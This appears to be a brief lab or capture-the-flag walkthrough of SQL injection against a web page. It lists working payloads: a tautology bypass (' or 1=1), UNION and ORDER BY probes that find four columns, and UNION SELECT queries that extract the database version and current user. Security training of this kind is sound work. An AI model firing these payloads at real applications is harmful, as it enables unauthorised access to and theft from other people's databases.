April 17, 2024
First we need to visit the page
Then we will try the classic sql injection that will return everything
Then try just to evaluate the correct number of columns in the table.
We can see here we used the union and order by to determine that there is only 4 columns in the table.
Last updated 1 year ago
' or 1=1;-- -
' UNION SELECT 1,2,3,4-- -
' ORDER BY 4-- -
' UNION SELECT 1,@@version,3,4-- -
' UNION select 1,user(),3,4-- -